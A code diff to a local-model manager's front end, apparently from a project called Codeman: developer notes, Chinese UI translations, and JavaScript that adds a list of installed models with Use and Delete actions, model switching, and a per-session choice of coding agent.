@@ -48,7 +48,7 @@ Frontend JS modules have `@fileoverview` with `@dependency`/`@loadorder` tags. L
 
 **Opened outside Codeman** (`foreign-sessions.js`, both home screens): the tmux sessions a human started, listed from `GET /api/mux/foreign` (root CLAUDE.md, Adopted tmux sessions). ONE renderer, `renderForeignSessions(container)`, fills the welcome block and the phone overview's, and every row goes through `textContent`, since a session name and a command line come from someone else's process. ⚠️ It polls only while a home screen is up (`startForeignPolling`/`stopForeignPolling` from `showWelcome()`/`hideWelcome()`) and the tab is visible (`_foreignPollTick()` is the one gate, and `visibilitychange` catches up; the cache TTL sits under the poll interval, so one tab's every tick is a full socket sweep), and the poll is local only: the docker and ssh scan costs one connection per target, so it runs once on the toggle and again on Rescan, and its rows and notes are kept apart (`_foreignWideSessions`, `_foreignWideNotes`) or the next local poll would wipe them. ⚠️ A 403 is a non-admin in multi-user mode, an answer and not a failed poll: `_foreignRefused` stops the polling and shows no block. ⚠️ `closeSession()` re-reads the list after an adopted tab's DELETE, since the home screen's own load races it and the row would say `Go to tab` until the next poll. ⚠️ An adopted tab has no kill outcome to offer, so the close dialog hides the red button and always tears the wrapper down. ⚠️ `session.remote` and `session.docker` are undefined on an adopted session, so a check that hides a row for those two usually needs `session.adopt` as well. Tests: `test/foreign-sessions-ui.test.ts`, `test/foreign-sessions-i18n.test.ts` (harvests every string from the real module).
 
-**Run a model on this Mac** (`local-model-ui.js`; welcome button `#welcomeLocalModelBtn`, chooser window `#localModelModal`, App Settings > Models row `#localModelSettings`; server rules in the root CLAUDE.md, Local model): ONE window does everything (choose, confirm, progress, paused, failed, installed, no recommendation); the button and the Settings row only open it. Which screen shows follows `install.state` of `GET /api/local-model`; the page itself holds only the selection and whether the person is on the chooser or the confirm screen. ⚠️ The window is ONE frame for the whole flow: a fixed height on desktop (`.modal-content.local-model-window`), App Settings' boxed close button, the body scrolling between the header and a foot of its own (`#localModelWindowFoot`): every screen's last part (`.lm-foot`, or the `.lm-remove` question) is moved there by `_renderLocalModelWindow()`, so a button never moves away from under the pointer and is never clipped; a test that looks for a button looks in the frame, not the body. The short screens are centred in that frame on desktop and sit above the buttons on a phone (`data-screen` on the body). ⚠️ The memory bar (`.lm-bar`, `role="meter"`) is the one strong element: filled to the selected row's `budgetShare`, the model at its PEAK (the legend says so, and the installed line uses the same words beside what the model takes now, so the two figures are never read as a contradiction), the memory map (`Candidate.memory`: the model, its context and the brief peaks side by side, each named in the legend, on a track of `--text-muted` at about a third) in the feature's own colours (`--lm-*`: white for the feature, turned over to dark ink on the light skins, blue the context, green good, amber tight, orange slow, rose the brief peaks, deeper on the light skins), never `--accent`, which the owner rejected as too much blue (about 3:1 against the window, so the free part can be seen; a border token is 1.5:1 and the inputs' `--bg-input` is the window's own surface on the dark skins), 10px, no gradient or glow, and its width transition is the only motion (off under `prefers-reduced-motion`); a repaint starts each bar at the last width of its kind, so keep `_settleLocalModelBars()` after every body write. The figure beside it is an estimate and says "about" in whole GB (`localModelWholeGb()` on the server's text); only the download figure keeps tabular figures. ⚠️ The rows are the server's pick first, then the other models by download size, largest first (`localModelCandidates()`): the server's alternatives are its ranking, which no column shows. ⚠️ The download bar means ONE thing, the model download: at the start while the runtime is fetched, gone once the model is in (the step list carries verify, agent and connect); the first paint after an install finished shows "Start a session" alone (`justInstalled`), an error on an installed model is the headline with a grey dot, and Remove is quiet everywhere but red in its own question, never the accent. ⚠️ The window polls the GET once a second WHILE OPEN and never otherwise (no SSE event): `closeLocalModelWindow()` clears the timer, a background tab asks nothing, an unchanged answer repaints nothing, and a tick that moved only the download replaces `.lm-meter` alone, so a button is never swapped out under a click. A read that was already under way when a verb answered is dropped (`_localModelVerbs`), or the old state flashes back. ⚠️ The consent is bound to the size shown: the install request carries the row's `installBytes` as `acknowledgedBytes`, and a 409 `size-changed` shows `expectedGb` and sends `expectedBytes` next; never compute a total here. ⚠️ A button exists only for an action in `install.actions`, and after an error exactly one helpful action (`error.next`, already adapted by the server to the state: `start` on an installed model, `retry` on a job) plus a quiet Remove; an error's text is split after its first sentence (`localModelSentences()`, which knows the ideographic full stop) and only that sentence is the headline. A refusal the server names (a 400, a full disk) carries `data.message` like a 409 and is printed from it, never from the English `error` text. ⚠️ Every dynamic string goes in through `textContent` (model, coding agent and chip names, an error's detail, session names, the folder and the install command are someone else's text); the window body, the button and the row carry `data-i18n-skip` and the module translates its own sentences at render time, so a language or display-name change repaints from the module (the `<html lang>` observer). ⚠️ Labels and sentences come from the payload (`{ text, vars }` through `localModelT`); the module holds no list of models or coding agents, compares no CLI id (the agent select's values are positions in the server's list, the id travels only as data into the install request and `selectCustomModelEntry`) and never contains the word "RecoLine truncated
+**Run a model on this Mac** (`local-model-ui.js`; welcome button `#welcomeLocalModelBtn`, chooser window `#localModelModal`, App Settings > Models row `#localModelSettings`; server rules in the root CLAUDE.md, Local model): ONE window does everything (choose, confirm, progress, paused, failed, installed, no recommendation); the button and the Settings row only open it. ⚠️ The models on this Mac (`install.library`) are ONE list builder, `_localModelLibraryEl()`: on the installed screen always (the model in use first, in the chooser's selected look, each row with the context it was checked with, a state tag and its size on disk), on a paused or failed screen only when a row offers something (the way back to an earlier model), never on the screen that ends an install. A row has "Use" and "Delete" only for what the server lists for THAT row (`row.actions`); Use is a switch with no confirm screen (nothing is downloaded), Delete asks once in place under its row (`.lm-lib-ask`, the one red button, the focus on Cancel), and the asked row keeps its buttons unseen (`.lm-lib-actions-away`) so the sizes do not jump sideways. Under the list: what all downloads take (`install.store`) and "Add a model", which opens the chooser from an installed model; there a row with `candidate.library` says "In use" or "On this Mac" and the main button becomes a disabled "In use" or "Use this model". With nothing installed and a store an earlier Remove kept, the chooser and the nothing-fits screen say what it takes and offer "Delete them" (`_localModelStoreEl()`). ⚠️ A screen that carries the list sets `data-long` on the body, which switches it from the centred short-screen layout (bottom-aligned on a phone) to top-aligned: a centred flex column that overflows cuts off its first lines. ⚠️ The row buttons live in `.lm-lib-actions`, not `.lm-buttons` (the screen's own buttons in the foot), and are a size smaller (`.lm-btn-row`). ⚠️ A job whose steps hold no `model` step is a switch (`localModelIsSwitch()`) and is named one ("Switching to", no download bar). Which screen shows follows `install.state` of `GET /api/local-model`; the page itself holds only the selection and whether the person is on the chooser or the confirm screen. ⚠️ The window is ONE frame for the whole flow: a fixed height on desktop (`.modal-content.local-model-window`), App Settings' boxed close button, the body scrolling between the header and a foot of its own (`#localModelWindowFoot`): every screen's last part (`.lm-foot`, or the `.lm-remove` question) is moved there by `_renderLocalModelWindow()`, so a button never moves away from under the pointer and is never clipped; a test that looks for a button looks in the frame, not the body. The short screens are centred in that frame on desktop and sit above the buttons on a phone (`data-screen` on the body). ⚠️ The memory bar (`.lm-bar`, `role="meter"`) is the one strong element: filled to the selected row's `budgetShare`, the model at its PEAK (the legend says so, and the installed line uses the same words beside what the model takes now, so the two figures are never read as a contradiction), the memory map (`Candidate.memory`: the model, its context and the brief peaks side by side, each named in the legend, on a track of `--text-muted` at about a third) in the feature's own colours (`--lm-*`: white for the feature, turned over to dark ink on the light skins, blue the context, green good, amber tight, orange slow, rose the brief peaks, deeper on the light skins), never `--accent`, which the owner rejected as too much blue (about 3:1 against the window, so the free part can be seen; a border token is 1.5:1 and the inputs' `--bg-input` is the window's own surface on the dark skins), 10px, no gradient or glow, and its width transition is the only motion (off under `prefers-reduced-motion`); a repaint starts each bar at the last width of its kind, so keep `_settleLocalModelBars()` after every body write. The figure beside it is an estimate and says "about" in whole GB (`localModelWholeGb()` on the server's text); only the download figure keeps tabular figures. ⚠️ The rows are the server's pick first, then the other models by download size, largest first (`localModelCandidates()`): the server's alternatives are its ranking, which no column shows. ⚠️ The download bar means ONE thing, the model download: at the start while the runtime is fetched, gone once the model is in (the step list carries verify, agent and connect); the first paint after an install finished shows "Start a session" alone (`justInstalled`), an error on an installed model is the headline with a grey dot, and Remove is quiet everywhere but red in its own question, never the accent. ⚠️ The window polls the GET once a second WHILE OPEN and never otherwise (no SSE event): `closeLocalModelWindow()` clears the timer, a background tab asks nothing, an unchanged answer repaints nothing, and a tick that moved only the download reLine truncated
 
 **Home-screen session order** (`CodemanSessionOrder` in constants.js, pure): BOTH home screens (phone overview, desktop rail) must order rows through this ONE comparator. Rank `needs` → `error` → `waiting` → `working` → `idle` → `done`. ⚠️ The tiebreak flips: states a session is still IN sort oldest-first, states it has STOPPED sort newest-first. ⚠️ The running group keys off `lastSubmitAt`, never `lastActivityAt` (a working pane repaints constantly). ⚠️ A 0 stamp means unknown and sorts last within its state. Final tiebreak is `orderIndex`, so the list never shuffles. The tab strip itself is NOT sorted by this. Test: `test/session-overview-order.test.ts`. → [architecture-invariants#home-screen-session-order](../../docs/architecture-invariants.md#home-screen-session-order)
 

src/web/public/i18n.js

@@ -1434,6 +1434,36 @@
     'Installing {model}': '正在安装 {model}',
     'The install of {model} is paused': '{model} 的安装已暂停',
     'The install of {model} stopped': '{model} 的安装已中止',
+    // A switch to a model that is on this Mac already: nothing is downloaded.
+    'Switching to {model}': '正在切换到 {model}',
+    'The switch to {model} is paused': '切换到 {model} 的操作已暂停',
+    'The switch to {model} stopped': '切换到 {model} 的操作已中止',
+    'The switch waits until you continue.': '切换会等你点击继续后再进行。',
+    'You can close this window. The switch continues while Codeman is running.':
+      '可以关闭此窗口。只要 {name} 在运行，切换就会继续。',
+    // The models on this Mac: the list of the installed screen, its states and its two actions.
+    'Models on this Mac': '此 Mac 上的模型',
+    'On disk': '占用磁盘',
+    '{context} tokens': '{context} 个令牌',
+    'In use': '使用中',
+    Ready: '就绪',
+    Changed: '已变化',
+    Missing: '已缺失',
+    'Not checked': '未检查',
+    'On this Mac': '已在此 Mac 上',
+    Use: '使用',
+    'Use {model}': '使用 {model}',
+    'Use this model': '使用此模型',
+    'Delete {model}': '删除 {model}',
+    'Delete {model} from this Mac?': '要从此 Mac 删除 {model} 吗？',
+    'This frees {size} GB.': '这会释放 {size} GB。',
+    'Downloaded models use {size} GB on this Mac.': '已下载的模型在此 Mac 上占用 {size} GB。',
+    'Press Start to delete a single model.': '点击“启动”后才能删除单个模型。',
+    'Add a model': '添加模型',
+    'Delete the downloaded models from this Mac?': '要从此 Mac 删除已下载的模型吗？',
+    'Models from an earlier install still use {size} GB on this Mac.':
+      '之前安装留下的模型仍在此 Mac 上占用 {size} GB。',
+    'Delete them': '删除它们',
     '{model} is running': '{model} 正在运行',
     '{model} is installed and stopped': '{model} 已安装，当前已停止',
     'Checking this Mac': '正在检查此 Mac',
@@ -1510,6 +1540,18 @@
     'Takes {memory} GB of memory now.': '目前占用 {memory} GB 内存。',
     'All of it is on the GPU.': '全部位于 GPU 上。',
     'Start a session': '开始会话',
+    // The coding agents of an installed model: one chip each, and the line under the selected one.
+    'Start a session with': '开始会话时使用',
+    Installing: '正在安装',
+    'Not installed': '未安装',
+    'Needs setup': '需要设置',
+    'Install {cli}': '安装 {cli}',
+    'Installing {cli}. You can start a session with another agent meanwhile.':
+      '正在安装 {cli}。在此期间，你可以用其他智能体开始会话。',
+    '{cli} is not on this Mac yet. Codeman installs it with this command:':
+      '此 Mac 上尚未安装 {cli}。{name} 会用下面这条命令安装它：',
+    '{cli} needs a setup of its own. Set it up from the Run menu, then start a session with it here.':
+      '{cli} 需要单独设置。请先在"运行"菜单中完成设置，然后就可以在这里用它开始会话。',
     'Remove the local model from this Mac?': '要从此 Mac 移除本地模型吗？',
     'Also delete the downloaded model': '同时删除已下载的模型',
     'The coding agent stays installed.': '编程智能体会保留，不会被卸载。',
@@ -1578,9 +1620,13 @@
     'Codeman could not save the connection to the model.': '{name} 无法保存与模型的连接。',
     'The model on this Mac changed since it was installed. Remove it and install it again.':
       '此 Mac 上的模型在安装后发生了变化。请移除后重新安装。',
+    'The model on this Mac is being changed and is not ready. Finish or undo that in the local model window first.':
+      '此 Mac 上的模型正在更换，尚未就绪。请先在本地模型窗口中完成或撤销这一操作。',
     'The install stopped on an unexpected error.': '安装因意外错误而中止。',
     'An install is already running.': '已有一个安装正在进行。',
-    'A model is already installed on this Mac. Remove it first.': '此 Mac 上已安装了一个模型。请先移除它。',
+    'This model is already in use on this Mac.': '此 Mac 已在使用这个模型。',
+    '{model} is the model in use. Switch to another model first, or remove the local model.':
+      '{model} 是正在使用的模型。请先切换到其他模型，或移除本地模型。',
     'The download is {size} GB now. Check the sizes and confirm again.':
       '现在的下载大小为 {size} GB。请核对大小后再次确认。',
     'Sessions are still using this model: {sessions}. Close them first.':
@@ -1590,8 +1636,13 @@
       '目前不为此 Mac 提供这一上下文大小下的该模型。',
     'This coding agent is not offered for this model.': '该模型不提供这个编程智能体。',
     '{cli} is not installed and cannot be installed from here.': '{cli} 尚未安装，也无法从这里安装。',
-    'Only {model} is installed on this Mac. Remove it and install another model first.':
-      '此 Mac 上只安装了 {model}。请先移除它，再安装其他模型。',
+    'Only {model} is in use on this Mac. Switch models in the local model window first.':
+      '此 Mac 目前只使用 {model}。请先在本地模型窗口中切换模型。',
+    'This model is not one of the checked models on this Mac.': '该模型不在此 Mac 上已检查的模型之列。',
+    'This model is not on this Mac.': '此 Mac 上没有这个模型。',
+    '{cli} is not installed on this Mac. Install a coding agent in the local model window first.':
+      '此 Mac 上没有安装 {cli}。请先在本地模型窗口中安装一个编程智能体。',
+    '{model} could not be deleted from this Mac.': '无法从此 Mac 删除 {model}。',
     // What the endpoint routes answer for the record of the model on this Mac (shown as a toast).
     'This endpoint belongs to the model Codeman runs on this Mac. Change or remove it in the local model window.':
       '此端点属于 {name} 在此 Mac 上运行的模型。请在本地模型窗口中更改或移除它。',

src/web/public/local-model-ui.js

@@ -7,10 +7,13 @@
  * drives the install verbs:
  *
  *   POST   /api/local-model/install   { modelId, cli, context, acknowledgedBytes }
+ *   POST   /api/local-model/use       { modelId }
  *   POST   /api/local-model/cancel
  *   POST   /api/local-model/resume    { newPort? }
  *   POST   /api/local-model/runtime   { action: 'start' | 'stop', newPort? }
  *   DELETE /api/local-model           { removeModel }
+ *   DELETE /api/local-model/models    { modelId }
+ *   POST   /api/local-model/agent     { cli }
  *
  * ## Three surfaces, one window
  *
@@ -25,14 +28,19 @@
  *    | Screen      | When                                                              |
  *    |-------------|-------------------------------------------------------------------|
  *    | `choose`    | idle: the memory bar, the models that fit as a radio group, the   |
- *    |             | coding agent, "Install on this Mac"                               |
+ *    |             | coding agent, "Install on this Mac". Also from an installed       |
+ *    |             | model ("Add a model"): a row that is on this Mac already says so  |
+ *    |             | and is switched to without a download                             |
  *    | `confirm`   | after that button: the download as a table with its total, where  |
  *    |             | it goes                                                           |
  *    | `progress`  | installing: the download bar, the steps, Cancel                   |
  *    | `paused`    | paused (Cancel or a server restart): Continue or Remove           |
  *    | `failed`    | failed: the server's sentence and the ONE action that helps       |
- *    | `installed` | installed: running or stopped, Start a session, Stop/Start, Remove |
- *    |             | (right after an install: Start a session alone)                   |
+ *    | `installed` | installed: running or stopped, the coding agents a session can be |
+ *    |             | started with, the models on this Mac with their size on disk      |
+ *    |             | (Use, Delete), Add a model, Start a session (or "Install <agent>" |
+ *    |             | for one that is not on this Mac), Stop/Start, Remove (right after |
+ *    |             | an install: Start a session alone)                                |
  *    | `none`      | idle and nothing fits: the hardware line, the reason, Close       |
  *
  * The memory bar is the one strong element: the memory this Mac can give a model, filled to
@@ -49,6 +57,23 @@
  * size, largest first, which is a column the reader can see. The server's own order of the
  * alternatives is its ranking (what it would offer next), not a reading order.
  *
+ * The models on this Mac (`install.library`) are a list of their own, on the installed screen
+ * and on a paused or failed one that has a model to go back to: the model in use first, each
+ * with its size on disk and the two things a row can offer, "Use" (a switch, nothing is
+ * downloaded) and "Delete" (asked once, in the row). Under it the disk use of all downloaded
+ * models (`install.store`) and "Add a model". A row has a button only for an action the server
+ * lists for THAT row (`row.actions`).
+ *
+ * The coding agent is chosen per session (`install.harnesses`): on the installed screen every
+ * agent the model can be run with is a chip of one radio group, the server's default first.
+ * The main button follows the selected chip: "Start a session" for one that can be started,
+ * "Install <agent>" for one that is not on this Mac (its literal install command is on screen
+ * above the button, so the click is the consent), and nothing to press for one that needs a
+ * setup of its own. An install of an agent runs beside the model: the state stays `installed`,
+ * and another agent can be started meanwhile. The device remembers the agent a session was
+ * last STARTED with, and each opening of the window selects it while it can be started (a
+ * chip that was only looked at is not a choice, or the window would reopen on "Install").
+ *
  * ## Polling
  *
  * The window asks the GET once a second WHILE IT IS OPEN, and never otherwise (there is no SSE
@@ -100,6 +125,12 @@ const LOCAL_MODEL_MAX_AGE_MS = 60000;
 /** How often the open window asks where the install stands. */
 const LOCAL_MODEL_POLL_MS = 1000;
 
+/** What `confirmDelete` holds while the question is about everything an earlier Remove kept. No model id has a space. */
+const LOCAL_MODEL_STORE_KEY = 'the store';
+
+/** Where this device remembers the coding agent last chosen for a session (a CLI id, as data). */
+const LOCAL_MODEL_AGENT_STORAGE_KEY = 'codeman-local-model-agent';
+
 /** The tag kinds of the server's pick (`CandidateTagKind`): the ones drawn in the accent colour. */
 const LOCAL_MODEL_ACCENT_TAGS = ['tested', 'best', 'best-tight'];
 
@@ -202,6 +233,62 @@ function localModelCandidates(status) {
   );
 }
 
+/**
+ * Whether the job of `install` is a switch to a model that is on this Mac already: its steps
+ * hold no download. The steps are the server's; nothing is compared with a model or an agent.
+ */
+function localModelIsSwitch(install) {
+  const steps = Array.isArray(install.steps) ? install.steps : [];
+  return steps.length > 0 && !steps.includes('model');
+}
+
+/** The rows of `install.library`: the models on this Mac. A payload without the list has none. */
+function localModelLibrary(install) {
+  return (Array.isArray(install.library) ? install.library : []).filter((row) => row && typeof row.id === 'string');
+}
+
+/** What a library row's state is called, and the tag class that colours it. */
+function localModelLibraryTag(row) {
+  if (row.active === true) return { text: localModelT('In use'), kind: 'inuse' };
+  if (row.status === 'ready') return { text: localModelT('Ready'), kind: 'ready' };
+  if (row.status === 'changed') return { text: localModelT('Changed'), kind: 'changed' };
+  if (row.status === 'missing') return { text: localModelT('Missing'), kind: 'missing' };
+  return { text: localModelT('Not checked'), kind: 'unverified' };
+}
+
+/** The rows of `install.harnesses`: the coding agents the model in use can be run with. A payload without the list has none. */
+function localModelAgents(install) {
+  return (Array.isArray(install.harnesses) ? install.harnesses : []).filter(
+    (row) => row && typeof row.cli === 'string' && row.cli
+  );
+}
+
+/** What an agent chip says beside the name, and the tag class that colours it. Nothing for one that can be started. */
+function localModelAgentTag(row) {
+  if (row.status === 'installing') return { text: localModelT('Installing'), kind: 'tight' };
+  if (row.status === 'installable') return { text: localModelT('Not installed'), kind: 'unverified' };
+  if (row.status === 'setup-needed') return { text: localModelT('Needs setup'), kind: 'unverified' };
+  return null;
+}
+
+/** The coding agent this device chose last, or '' (storage can be empty or refused: the default agent stands then). */
+function localModelStoredAgent() {
+  try {
+    const value = window.localStorage.getItem(LOCAL_MODEL_AGENT_STORAGE_KEY);
+    return typeof value === 'string' ? value : '';
+  } catch {
+    return '';
+  }
+}
+
+function localModelStoreAgent(cli) {
+  try {
+    window.localStorage.setItem(LOCAL_MODEL_AGENT_STORAGE_KEY, String(cli));
+  } catch {
+    /* a convenience only */
+  }
+}
+
 /**
  * The coding agents a row can run with. A payload without the list means the one agent of the
  * row's flat fields.
@@ -507,6 +594,11 @@ Object.assign(CodemanApp.prototype, {
         modelId: null,
         /** The selected coding agent (a CLI id, as data), or null for the row's first. */
         cli: null,
+        /**
+         * The coding agent chosen for a session on the installed model (a CLI id, as data), or
+         * null: what this device chose last, else the server's default.
+         */
+        agent: null,
         /** A verb is in flight: every button waits. */
         busy: false,
         /** What the last verb answered when it was refused. */
@@ -516,6 +608,11 @@ Object.assign(CodemanApp.prototype, {
         /** The Remove question is open, and whether the downloaded model goes too. */
         confirmRemove: false,
         removeModel: true,
+        /**
+         * The Delete question of one row is open: that row's model id, or `LOCAL_MODEL_STORE_KEY`
+         * for the downloaded models an earlier Remove kept.
+         */
+        confirmDelete: null,
         /**
          * The install finished while this window was open: the screen that ends it shows
          * "Start a session" alone. Stop and Remove belong to the window opened later.
@@ -537,15 +634,36 @@ Object.assign(CodemanApp.prototype, {
     return { candidates, candidate, harnesses, harness };
   },
 
+  /**
+   * The coding agents of the installed model and the one a session would start with: the chip
+   * selected in this opening of the window, else the agent this device last STARTED a session
+   * with while it can still be started, else the server's default (its first row). A
+   * remembered agent that is not startable now never wins: the window would open on "Install"
+   * or on nothing to press, with "Start a session" out of sight. `row` is null when the server
+   * lists none.
+   */
+  _localModelAgent() {
+    const ui = this._localModelWindowState();
+    const rows = localModelAgents(localModelInstall(this._localModelStatus));
+    const stored = ui.agent ? '' : localModelStoredAgent();
+    const row =
+      rows.find((entry) => entry.cli === ui.agent) ||
+      rows.find((entry) => entry.cli === stored && entry.status === 'ready') ||
+      rows.find((entry) => entry.default === true) ||
+      rows[0];
+    return { rows, row: row || null };
+  },
+
   /** Which screen the window shows, see the table in @fileoverview. */
   _localModelScreen() {
     const ui = this._localModelWindowState();
     const install = localModelInstall(this._localModelStatus);
     const selection = this._localModelSelection();
     if (install.state === 'installing') return 'progress';
-    if (install.state === 'installed') return 'installed';
     const canInstall = install.actions.includes('install') && !!selection;
+    // The chooser is also where a second model is added to an installed one.
     if (canInstall && (ui.view === 'choose' || ui.view === 'confirm')) return ui.view;
+    if (install.state === 'installed') return 'installed';
     if (install.state === 'paused') return 'paused';
     if (install.state === 'failed') return 'failed';
     return selection ? 'choose' : 'none';
@@ -571,7 +689,11 @@ Object.assign(CodemanApp.prototype, {
       busy: false,
       notice: null,
       expected: null,
+      // A chip that was only looked at in an earlier opening is not a choice: each opening
+      // starts from the agent last STARTED on this device, else the server's default.
+      agent: null,
       confirmRemove: false,
+      confirmDelete: null,
       justInstalled: false,
     });
     this._forgetLocalModelPaint();
@@ -690,10 +812,10 @@ Object.assign(CodemanApp.prototype, {
     this.renderLocalModel();
   },
 
-  /** Back to the chooser (from the confirm screen, or to pick another model after a stop). */
+  /** Back to the chooser (from the confirm screen, to pick another model after a stop, or to add one). */
   chooseLocalModel(modelId) {
     const ui = this._localModelWindowState();
-    Object.assign(ui, { view: 'choose', notice: null, expected: null, confirmRemove: false });
+    Object.assign(ui, { view: 'choose', notice: null, expected: null, confirmRemove: false, confirmDelete: null });
     if (typeof modelId === 'string') {
       ui.modelId = modelId;
       ui.cli = null;
@@ -749,6 +871,79 @@ Object.assign(CodemanApp.prototype, {
     this.renderLocalModel();
   },
 
+  /**
+   * "Use": switch to a model that is on this Mac already. Nothing is downloaded, so there is
+   * no confirm screen: the server loads and checks the model again and connects it.
+   */
+  async useLocalModel(modelId) {
+    const ui = this._localModelWindowState();
+    ui.confirmDelete = null;
+    const result = await this._localModelVerb('POST', '/api/local-model/use', { modelId });
+    // Started, or refused with the server's sentence: either way the state's own screen says it.
+    if (result.ok || result.conflict) ui.view = 'auto';
+    this.renderLocalModel();
+  },
+
+  /** "Delete" of one row: first the question in the row, then (with `confirmed`) the delete. */
+  async deleteLocalModelEntry(modelId, { confirmed = false } = {}) {
+    const ui = this._localModelWindowState();
+    if (!confirmed) {
+      Object.assign(ui, { confirmDelete: modelId, confirmRemove: false, notice: null });
+      this.renderLocalModel();
+      // On the safe answer, whatever had the focus (a click does not move it in every browser).
+      this._focusLocalModelWindow('delete-no');
+      return;
+    }
+    await this._localModelVerb('DELETE', '/api/local-model/models', { modelId });
+    ui.confirmDelete = null;
+    this.renderLocalModel();
+  },
+
+  /** "Delete them": the downloaded models an earlier Remove kept, while nothing is installed. */
+  async deleteLocalModelStore({ confirmed = false } = {}) {
+    const ui = this._localModelWindowState();
+    if (!confirmed) {
+      Object.assign(ui, { confirmDelete: LOCAL_MODEL_STORE_KEY, notice: null });
+      this.renderLocalModel();
+      this._focusLocalModelWindow('delete-no');
+      return;
+    }
+    await this._localModelVerb('DELETE', '/api/local-model', { removeModel: true });
+    ui.confirmDelete = null;
+    this.renderLocalModel();
+  },
+
+  /** Leave a Delete question without deleting. The focus goes back to the button that asked. */
+  keepLocalModelEntry() {
+    const ui = this._localModelWindowState();
+    const asked = ui.confirmDelete;
+    Object.assign(ui, { confirmDelete: null, notice: null });
+    this.renderLocalModel();
+    if (asked) this._focusLocalModelWindow(asked === LOCAL_MODEL_STORE_KEY ? 'store-delete' : `delete:${asked}`);
+  },
+
+  /**
+   * Select a coding agent for the next session. Nothing is sent, and nothing is remembered
+   * yet: a chip can be selected just to see what installing it would run. The device
+   * remembers an agent once a session was started with it.
+   */
+  selectLocalModelAgent(cli) {
+    const ui = this._localModelWindowState();
+    if (ui.busy || typeof cli !== 'string' || !cli) return;
+    ui.agent = cli;
+    ui.notice = null;
+    this.renderLocalModel();
+  },
+
+  /**
+   * "Install <agent>": the consent click for the command shown above the button. The server
+   * runs its own stock command for that agent, never text from here, and answers at once: the
+   * install goes on beside the model and the next polls say how it stands.
+   */
+  installLocalModelAgent(cli) {
+    return this._localModelVerb('POST', '/api/local-model/agent', { cli });
+  },
+
   cancelLocalModelInstall() {
     return this._localModelVerb('POST', '/api/local-model/cancel');
   },
@@ -767,7 +962,7 @@ Object.assign(CodemanApp.prototype, {
   async removeLocalModel({ confirmed = false } = {}) {
     const ui = this._localModelWindowState();
     if (!confirmed) {
-      Object.assign(ui, { confirmRemove: true, notice: null });
+      Object.assign(ui, { confirmRemove: true, confirmDelete: null, notice: null });
       this.renderLocalModel();
       return;
     }
@@ -777,20 +972,24 @@ Object.assign(CodemanApp.prototype, {
   },
 
   /**
-   * "Start a session": a session on the saved connection with the coding agent of the install.
+   * "Start a session": a session on the saved connection with a coding agent: `cli` (the
+   * chip that is selected), or without one the server's default agent (`install.cli`).
    * The page's own copies are stale right after an install (the settings flag was switched on
    * by the server and the agent may have been installed a moment ago), so both are read again
    * before the existing launcher runs. Both values are the payload's; no id is compared.
    */
-  async startLocalModelSession() {
+  async startLocalModelSession(cli) {
     const install = localModelInstall(this._localModelStatus);
-    if (typeof install.cli !== 'string' || typeof install.endpointId !== 'string') return;
+    const agent = typeof cli === 'string' && cli ? cli : install.cli;
+    if (typeof agent !== 'string' || typeof install.endpointId !== 'string') return;
+    // The agent a session was started with is the one the next opening selects.
+    if (typeof cli === 'string' && cli) localModelStoreAgent(cli);
     const settingsOpen = document.getElementById('appSettingsModal')?.classList.contains('active');
     this.closeLocalModelWindow();
     if (settingsOpen) this.closeAppSettings?.();
     await this.loadAppSettingsFromServer?.();
     await this.loadCliListForSettings?.();
-    await this.selectCustomModelEntry?.(install.cli, install.endpointId);
+    await this.selectCustomModelEntry?.(agent, install.endpointId);
   },
 
   // ═══════════════════════════════════════════════════════════════
@@ -829,9 +1028,20 @@ Object.assign(CodemanApp.prototype, {
     const status = this._localModelStatus;
     const install = localModelInstall(status);
     const model = install.model ? String(install.model.label || install.model.id || '') : '';
-    if (install.state === 'installing') return localModelT('Installing {model}', { model });
-    if (install.state === 'paused') return localModelT('The install of {model} is paused', { model });
-    if (install.state === 'failed') return localModelT('The install of {model} stopped', { model });
+    const switching = localModelIsSwitch(install);
+    if (install.state === 'installing') {
+      return switching ? localModelT('Switching to {model}', { model }) : localModelT('Installing {model}', { model });
+    }
+    if (install.state === 'paused') {
+      return switching
+        ? localModelT('The switch to {model} is paused', { model })
+        : localModelT('The install of {model} is paused', { model });
+    }
+    if (install.state === 'failed') {
+      return switching
+        ? localModelT('The switch to {model} stopped', { model })
+        : localModelT('The install of {model} stopped', { model });
+    }
     if (install.state === 'installed') {
       if (install.running) return localModelT('{model} is running', { model });
       return localModelT('{model} is installed and stopped', { model });
@@ -917,6 +1127,8 @@ Object.assign(CodemanApp.prototype, {
       foot && tail && tail.classList && (tail.classList.contains('lm-foot') || tail.classList.contains('lm-remove'));
     body.dataset.screen = screen;
     body.replaceChildren(...(actions ? parts.slice(0, -1) : parts));
+    // A screen that carries the list of models starts at the top and scrolls (see styles.css).
+    body.dataset.long = body.querySelector('.lm-library') ? 'true' : 'false';
     if (foot) foot.replaceChildren(...(actions ? [tail] : []));
     body.scrollTop = scrolled;
     this._settleLocalModelBars(body);
@@ -1031,6 +1243,12 @@ Object.assign(CodemanApp.prototype, {
       tag.classList.add(`lm-tag-${candidate.tag.kind}`);
       tagSlot.appendChild(tag);
     }
+    // Already on this Mac: choosing it switches to it, and nothing is downloaded.
+    if (candidate.library === 'active') {
+      tagSlot.appendChild(localModelEl('span', 'lm-tag lm-tag-inuse', localModelT('In use')));
+    } else if (candidate.library === 'ready') {
+      tagSlot.appendChild(localModelEl('span', 'lm-tag lm-tag-ready', localModelT('On this Mac')));
+    }
     row.appendChild(tagSlot);
     const speed = localModelEl('span', 'lm-model-speed', localModelSpeedText(candidate));
     const gauge = localModelEl(
@@ -1153,6 +1371,10 @@ Object.assign(CodemanApp.prototype, {
     if (hints.length) runs.appendChild(localModelEl('span', 'lm-runs-hint', hints.join(' ')));
     parts.push(runs);
 
+    // Nothing is installed, and an earlier Remove kept its downloads: what they take, and the way to free it.
+    const leftovers = this._localModelStoreEl(install);
+    if (leftovers) parts.push(leftovers);
+
     const notice = this._localModelNoticeEl();
     if (notice) parts.push(notice);
 
@@ -1160,13 +1382,25 @@ Object.assign(CodemanApp.prototype, {
     const promise = localModelT('No account and no API key. The model runs only on this Mac.');
     foot.appendChild(localModelEl('p', 'lm-foot-note', promise));
     const buttons = localModelEl('div', 'lm-buttons');
-    // Reached from a paused or stopped install: the way back to it.
+    // Reached from a paused or stopped install, or from an installed model: the way back to it.
     if (install.state !== 'idle') {
       buttons.appendChild(
         localModelButton(localModelT('Back'), { key: 'back', onClick: () => this.leaveLocalModelChooser() })
       );
     }
-    if (install.actions.includes('install')) {
+    if (candidate.library === 'active') {
+      // The model that runs now: nothing to do with it here.
+      buttons.appendChild(localModelButton(localModelT('In use'), { key: 'primary', primary: true, disabled: true }));
